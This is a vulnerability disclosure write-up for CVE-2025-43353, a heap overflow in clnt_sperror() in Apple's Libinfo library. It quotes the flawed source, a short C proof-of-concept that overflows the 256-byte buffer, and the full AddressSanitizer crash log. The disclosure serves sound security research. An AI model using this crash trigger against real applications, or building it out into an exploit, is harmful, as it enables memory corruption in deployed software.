CVE-2025-43353
An area of research I haven’t seen others pursue is Apple’s Open Source repositories hosted on GitHub.
Xcode’s development libraries and Apple’s Open Source repositories share a surpising amount of code and provide unprecedented insight into what Apple uses in their own products.
Historically, Apple is known for their closed-source approach to software development. However, what if we could use their open source listings as a surrogate into their development ecosystem?
Selecting a target
Due to the sheer number of repositories Apple keeps, I decided to cross-reference past security releases with the frameworks listed on their GitHub. In doing so, I found several libraries of interest: libc, Libinfo, and libxml2 amongst others.
While I did end up finding memory corrupting vulnerabilities in all of the aforementioned libraries, I am going to talk about the vulnerability I am most proud of: CVE-2025-43353.
The Vulnerability
In rpc.subproj/clnt_perror.c, clnt_sperror()
allocates a static 256‑byte buffer via _buf()
and repeatedly writes into it with sprintf
and strcpy
using arbitrary input (s
and RPC error details). Long input strings can overflow this buffer:
static char *buf;
static char *
_buf()
{
if (buf == 0)
buf = (char *)malloc(256);
return (buf);
}
...
char *str = _buf();
...
(void) sprintf(str, "%s: ", s);
str += strlen(str);
(void) strcpy(str, clnt_sperrno(e.re_status));
Any application calling clnt_sperror
with an unbounded message (s
) can corrupt memory.
Analysis and Crash
When I initially found CVE-2025-43353, the process from discovery to crash was relatively straight forward.
Since the function is reachable from the Xcode development libraries, all we need to do is include the <rpc/rpc.h>
header in our program:
#include <rpc/rpc.h>
#include <string.h>
#include <stdio.h>
int main(void)
{
/* 1 ─ create a dummy CLIENT handle that is always valid */
CLIENT *cl = clntraw_create(0x40000000, 1); /* any prog/vers */
if (!cl) {
perror("clntraw_create");
return 1;
}
/* 2 ─ oversize diagnostic string (>> 256 B) */
char long_msg[1024];
memset(long_msg, 'A', sizeof long_msg - 1);
long_msg[sizeof long_msg - 1] = '\0';
/* 3 ─ trigger the overflow */
char *p = clnt_sperror(cl, long_msg);
(void)p; /* never reached when ASan is enabled */
clnt_destroy(cl); /* tidy up handle */
return 0;
}
Running the proof-of-concept, we get the following ASan crash:
=================================================================
==3651==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000000140 at pc 0x000103601f6c bp 0x00016d175cb0 sp 0x00016d175450
WRITE of size 1023 at 0x611000000140 thread T0
#0 0x000103601f68 in memcpy+0x2ac (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x85f68)
#1 0x00018638bac8 in __sfvwrite+0x14c (libsystem_c.dylib:arm64e+0x4ac8)
#2 0x00018638b5f8 in __vfprintf+0x2b90 (libsystem_c.dylib:arm64e+0x45f8)
#3 0x000186393188 in vsprintf_l+0xc8 (libsystem_c.dylib:arm64e+0xc188)
#4 0x000103597ebc in vsprintf+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x1bebc)
#5 0x0001035986cc in sprintf+0x38 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x1c6cc)
#6 0x000186552f94 in clnt_sperror+0x7c (libsystem_info.dylib:arm64e+0x1df94)
#7 0x000102c88994 in main clnt_sperror_overflow.c:28
#8 0x000186156b94 in start+0x17b8 (dyld:arm64e+0xfffffffffff3ab94)
0x611000000140 is located 0 bytes after 256-byte region [0x611000000040,0x611000000140)
allocated by thread T0 here:
#0 0x0001035b938c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d38c)
#1 0x000186313a80 in _malloc_type_malloc_outlined+0x60 (libsystem_malloc.dylib:arm64e+0x1da80)
#2 0x000186552f58 in clnt_sperror+0x40 (libsystem_info.dylib:arm64e+0x1df58)
#3 0x000102c88994 in main clnt_sperror_overflow.c:28
#4 0x000186156b94 in start+0x17b8 (dyld:arm64e+0xfffffffffff3ab94)
SUMMARY: AddressSanitizer: heap-buffer-overflow (libsystem_c.dylib:arm64e+0x4ac8) in __sfvwrite+0x14c
Shadow bytes around the buggy address:
0x610ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x610fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x610fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x611000000000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x611000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x611000000100: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x611000000180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x611000000200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x611000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x611000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x611000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3651==ABORTING
We can see that the Libinfo library found in Apple’s Open Source GitHub repository maps to the closed-source libsystem_info.dylib
binary.
Conclusion
It’s interesting how little is documented about how useful Apple’s Open Source repositories are. While they do not directly reveal the contents of an application made with them, any vulnerabilities found in the development libraries can absolutely be used to narrow down and test applications who may not know of the libraries’ shortcomings.